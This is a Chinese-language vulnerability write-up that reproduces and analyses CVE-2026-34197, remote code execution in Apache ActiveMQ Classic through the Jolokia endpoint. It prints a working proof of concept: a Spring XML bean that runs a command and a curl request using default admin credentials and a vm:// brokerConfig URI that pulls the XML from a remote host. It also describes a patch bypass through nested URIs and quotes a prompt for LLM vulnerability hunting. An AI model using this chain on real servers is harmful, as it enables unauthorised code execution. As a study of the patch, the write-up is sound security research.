CVE-2026-34197复现与分析
前言
最近 AI 挖掘 0 day 的消息不绝于耳,如 Claude 一句话挖掘 Vim 的 RCE 0-day 。4月7日,又爆出 AI 挖了 Apache ActiveMQ 潜伏 13 年的高危 RCE 漏洞,正是本文分析和复现的CVE-2026-34197:

消息队列是分布式和微服务系统的重要组件,现代分布式/高性能场景用得比较多的是RabbitMQ、RocketMQ、Kafka等等。而 Apache ActiveMQ 则是传统的企业级消息中间件,实现语言是 Java,主要特性如下:
- 支持点对点(P2P)模式和发布/订阅(Pub/Sub)模式(这两种消息模型都是 JMS 提供的)
- 支持 JMS、AMQP、MQTT、STOMP、REST 等多种协议(通过协议适配器在 Broker 转换成内部统一的 JMS 模型)
它分两种版本:
- ActiveMQ Classic(老版本,本漏洞只影响这个):传统实现,管理控制台跑在 Jetty Web 服务器上,默认端口 8161
- ActiveMQ Artemis(新版本):性能更好,本漏洞不影响
ActiveMQ Classic 内置的 Web 控制台默认访问地址是http://IP:8161,管理员通过它监控队列、Topic、连接数等。控制台背后依赖 Jolokia 来操作底层的 Java 管理功能,默认管理员账号密码是admin/admin。
概念扫盲:
- JMS:JMS(JAVA Message Service)是 Java 的消息服务,JMS 的客户端之间可以通过 JMS 服务进行异步的消息传输。JMS API 是一个消息服务的标准或者说是规范,允许应用程序组件基于 JavaEE 平台创建、发送、接收和读取消息。ActiveMQ就是基于 JMS 规范实现的。
- Jolokia:Jolokia 是一个 JMX-HTTP 桥接工具(JMX-to-HTTP bridge)。作用是把复杂的 JMX 调用变成简单的 REST API(HTTP 请求),让 Web 控制台、监控工具能轻松远程管理 ActiveMQ,而不需要用 RMI 等复杂协议。
- JMX(Java Management Extensions):Java 内置的监控和管理框架。ActiveMQ 把自己的各种功能封装成 MBean(Managed Bean,可管理的对象),比如 BrokerService、Queue、Topic 等。所以 ActiveMQ 的控制台页面上的所有队列列表、数字等等,本质上都是在读取和调用这些 MBean。
一些相关的历史漏洞:
- CVE-2022-41678
已认证远程代码执行(Authenticated RCE)。ActiveMQ Classic 中,Jolokia 暴露的路径是/api/jolokia/,默认支持读取和执行操作。攻击者只要用默认的admin:admin(或其他有效账号)登录 Web 控制台,就能通过 Jolokia 接口调用一些危险的 JDK 自带 MBean(如 Log4j 相关的 MBean 或 Java Flight Recorder),利用这些 MBean 可以任意写文件(例如写 webshell),最终实现远程代码执行。
修复方式是收紧 Jolokia 的权限配置,只允许读取操作,并为 ActiveMQ 自己的 MBean 加了一条宽松的白名单如下,从而让 Web 控制台正常工作
<allow>
<mbean>
<name>org.apache.activemq:*</name>
<attribute>*</attribute>
<operation>*</operation>
</mbean>
</allow>
这个白名单比较宽泛,CVE-2026-34197的隐患在这里就埋下了。
- CVE-2024-32114
默认配置下的认证绕过/未授权访问(Insecure Default Configuration)。在 ActiveMQ Classic 6.0.0-6.1.1 中,默认的conf/jetty.xml配置忘记给/api/*这个路径加上登录验证。/api/*路径包含 Jolokia 和 Message REST 接口。任何人不需要账号密码就能直接访问 Jolokia 接口,执行各种管理操作,包括查看/修改 Broker、队列、发送消息等。
所以在该漏洞影响版本下,CVE-2026-34197会升级为无需认证的 RCE。
本文基于 ActiveMQ 6.2.2 进行分析和复现。
漏洞分析
根据漏洞信息,可以定位到官方修复补丁是PR #1840和PR #1847(对PR #1840的 follow-on 修复),修复方法是给BrokerView.java的addConnector和addNetworkConnector方法加上 URI 校验。

BrokerView.java是 ActiveMQ 的 JMX 管理接口BrokerViewMBean实现类,很多 Jolokia API 调用最终都会落到这个类上。addConnector(String discoveryAddress)方法作用是添加一个客户端连接器(Transport Connector),比如让 Broker 监听新的tcp://、ssl://、amqp://等端口,discoveryAddress就是连接 URI。addNetworkConnector(String discoveryAddress)方法作用是添加一个网络桥接连接器(Network Connector),用于 Broker 之间组成网络(Network of Brokers),实现消息转发、负载均衡、容错等,常用 URI 如static:(tcp://otherbroker:61616)、failover:(...)等。这两个方法允许运行时动态添加传输连接,而不需要重启 Broker,本来是为运维人员动态扩展 Broker 设计的合法功能。
在 6.2.2 及之前版本,这两个方法对传入的 discoveryAddress(URI)几乎不做任何检查,直接透传给 BrokerService:

攻击者通过 Jolokia(/api/jolokia/)调用BrokerViewMBean.addNetworkConnector,传入恶意 URI 如
vm://rce?brokerConfig=xbean:http://127.0.0.1:8000/poc.xml。ActiveMQ 解析到vm:// scheme 时,会触发 VM Transport 的特殊逻辑:
brokerConfig参数被当作 Spring XML 配置文件路径处理- 使用
ResourceXmlApplicationContext直接从远程 URL 加载并实例化 XML
Spring 在加载上下文时会立即实例化所有 singleton bean。恶意 XML 可以写了执行命令,就可以实现 JVM 层面任意代码执行。
漏洞复现
由于 Spring Boot 中深度集成 ActiveMQ Web Console 需要编写大量的 Servlet 注册代码,所以决定采用最纯粹的复现方式,即使用官方提供的 6.2.2 Standalone 启动包,然后将断点打在 IDEA 远程调试上。
下载并解压好后,我们需要在启动时注入 JVM 的 JDWP 参数,让 ActiveMQ 开放一个调试端口(例如 5005)等待 IDEA 连接:
cd apache-activemq-6.2.2/bin
export ACTIVEMQ_DEBUG_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
./activemq console
解释一下这里的调试参数:
| 参数 | 含义 |
|---|---|
ACTIVEMQ_DEBUG_OPTS | ActiveMQ 启动脚本(bin/activemq)专门读取的环境变量。它会把这个值拼接到 JVM 启动参数中(-Xdebug 等老参数已被 jdwp 取代) |
-agentlib:jdwp | 加载 JDWP 代理,JVM 官方的远程调试机制 |
transport=dt_socket | 使用 Socket 方式进行调试 |
server=y | 当前 JVM 作为调试服务器,主动监听端口等待调试器连接 |
suspend=n | 不挂起 JVM。ActiveMQ 正常启动,不需要等调试器连接后再继续运行。如果写suspend=y,Broker 启动后会卡住,直到连上调试器 |
address=*:5005 | 监听所有网卡(*),调试端口为 5005 |

在 IDEA 中创建一个空的 Spring Boot 项目,pom.xml中依赖项如下:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-broker</artifactId>
<version>6.2.2</version>
</dependency>
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-client</artifactId>
<version>6.2.2</version>
</dependency>
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-spring</artifactId>
<version>6.2.2</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-spring</artifactId>
<version>4.24</version>
</dependency>
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-server-core</artifactId>
<version>2.5.0</version>
</dependency>
</dependencies>
P.S. 这里有个很坑的点,jolokia-server-core版本一定要跟 ActiveMQ 6.2.2 standalone 自带的 Jolokia 版本一致,不然后面打断点都不带停的。
下面逐步配置 IDEA 远程连接:

添加远程 JVM 调试:

配置好对应参数后开启调试:

控制台出现如下字样即表示连接成功:

创建一个包含恶意 Bean 的poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>open</value>
<value>-a</value>
<value>Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
本地起一个 Python HTTP Server 托管这个poc.xml:

http://127.0.0.1:8161/api/jolokia/发送带有 Basic Auth 的 POST 请求:
curl -u admin:admin -X POST http://127.0.0.1:8161/api/jolokia/ \
-H "Content-Type: application/json" \
-H "Origin: http://127.0.0.1:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector",
"arguments": ["static:(vm://rce?brokerConfig=xbean:http://127.0.0.1:8000/poc.xml)"]
}'

poc.xml被请求:

计算器弹出:

ActiveMQ (靶机端)日志显示:

代理服务器会多次重复这些连接尝试,然后网络连接器才会停止工作。需要注意的是,命令执行发生在连接尝试期间,WARN 配置失败的消息是在有效负载运行完毕后才出现的。
现在回头解释下刚刚的poc.xml和curl请求。poc.xml其实就是一个标准的 Spring Bean 定义文件:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>open</value>
<value>-a</value>
<value>Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
被 XBean 当作 broker 配置加载时,Spring 容器会实例化里面所有的 bean:
class="java.lang.ProcessBuilder":构造一个ProcessBuilder对象<constructor-arg>传入命令列表["open", "-a", "Calculator"](macOS 弹计算器)init-method="start":容器初始化 bean 后自动调用ProcessBuilder.start(),即执行命令
curl 调用的是 Jolokia:
curl -u admin:admin -X POST http://127.0.0.1:8161/api/jolokia/ \
-H "Content-Type: application/json" \
-H "Origin: http://127.0.0.1:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector",
"arguments": ["static:(vm://rce?brokerConfig=xbean:http://127.0.0.1:8000/poc.xml)"]
}'
JSON body 的含义是:
"type": "exec": Jolokia 协议定义的操作类型,表示执行 MBean 方法"mbean": "org.apache.activemq:type=Broker,brokerName=localhost":目标是 ActiveMQ 的 Broker MBean"operation": "addNetworkConnector":调用BrokerViewMBean.addNetworkConnector(String)方法"arguments":传入的 discoveryAddress 参数
关键在参数字符串static:(vm://rce?brokerConfig=xbean:http://127.0.0.1:8000/poc.xml),它被层层解析:
static:(...):ActiveMQ 的 network connector 地址格式,static表示静态节点列表vm://rce?brokerConfig=xbean:http://...—vm://是 ActiveMQ 的嵌入式 broker transport。当连接一个不存在的嵌入式 broker 时,ActiveMQ 会自动创建一个新的 broker 实例brokerConfig=xbean:http://...:指定新 broker 的配置来源。xbean:前缀告诉 ActiveMQ 用 XBean(基于 Spring XML)去加载配置
于是 ActiveMQ 从 HTTP Server 拉取并解析poc.xml,作为 Spring ApplicationContext 初始化。
P.S. Origin header 是为了绕过 Jolokia 的 CORS 校验,设成与目标同源即可,不然会报 403。
后记
回到官方修复补丁PR #1840和PR #1847。前面说到PR #1840是在这两个方法开头新增了validateAllowedUrl(String)校验,解析传入的 URI 并检查其 scheme,若为vm则直接抛出IllegalArgumentException拒绝执行。同时处理了一级 composite URI(如static:(vm://...))中的组件检查:

P.S. ActiveMQ 的 URI 支持复合结构,如static:(vm://localhost,tcp://remote:61616)就是一个 composite URI,其中static:是外层 scheme,括号里的vm://localhost和tcp://remote:61616是它的组件(components)。
上面的检查只拆了一层。如果组件本身又是一个 composite URI,比如static:(failover:(vm://...)),括号里的failover:(vm://...)被拆出来后只检查了它的 scheme 是failover(不是vm,通过检查),但不会再深入拆开failover:(...)去检查里面的vm://。这就造成了绕过。不过开发者也意识到这一点,所以有了PR #1847。
PR #1847校验重构为递归方式,逐层深入检查所有嵌套 composite URI 中的 scheme,同时设置了 5 层递归深度上限以防止恶意构造极深嵌套导致栈溢出:

不过不管怎样,修复策略的本质都是在 JMX 暴露的管理接口层面进行输入校验,禁止通过远程操作创建vm://嵌入式 broker,从而切断攻击者控制brokerConfig参数加载远程 Spring XML 配置的利用链。
综上,该漏洞的根因是 Jolokia 配置里的那条<operation>*</operation>白名单,允许攻击者调用 ActiveMQ Broker MBean 的addNetworkConnector(String)方法。这个方法原本是用来动态添加 Broker 间网络连接的,但它支持vm://传输协议,而vm://协议的 brokerConfig 参数可以指向一个远程 HTTP URL 的 Spring XML 文件,导致了 RCE。
漏洞挖掘团队的原博客说这是“潜伏了 13 年”的高危 RCE,但是却被 Claude 发现。回头想想,原因耐人寻味。这个漏洞涉及多个独立开发的组件:Jolokia、JMX、network connectors 和 VM transports。这些组件由不同的人在不同时期开发,单独审计任何一个都不会发现问题,想要挖出来,需要同时理解:
- CVE-2022-41678 的修复给 ActiveMQ 自己的 MBean 开了
<operation>*</operation>的白名单 addNetworkConnector这个 MBean 操作接受任意 URIvm://transport 会在引用不存在的 broker 时自动创建新实例并加载外部配置xbean:scheme 会通过 Spring 的ResourceXmlApplicationContext实例化所有 bean
而这种跨组件、跨历史的链路分析恰好是 LLM 擅长的。因为它能同时持有整个代码库的上下文,不受人类注意力和经验 bias 的限制。
最后漏洞挖掘团队的博客中还给出了一段提示词以供参考:
Analyze this code base for vulnerabilities that can be exploited by a userwithnoprior privileges.
- Enumerate any endpoints accessibleto an unauthenticated, guest, or anonymous user.
- Research prior commits andprior vulnerabilities to identify hot spots in the code.
- Analyze the code, focusing on these vulnerability classes:
- RCE: command injection, deserialization, arbitrary file upload , code injection, SSTI
- Authentication Bypass: consider built-in auth, SAML, OAuth2, LDAP; password reset logic; session management; header spoofing; weak crypto, brute force protection, path/routing confusion
- Broken access control: missing authentication/authorization checks
- Arbitrary file read: Path traversal. If Windows is supported, pay special attention to Windows path handling
- SSRF: full-read and blind, consider redirect handling and DNS rebinding
- XXE
- SQLi: also consider second order SQLi
- Important misconfigurations: default creds, default secret keys, default guest access, weak file permissions, web server config; look at all deployment types including Docker
- Calloutany notable bad code smells for further review
Ignore the following vuln classes:
- XSS
- CSRF
- Open Redirect
- Any denial of service (DOS)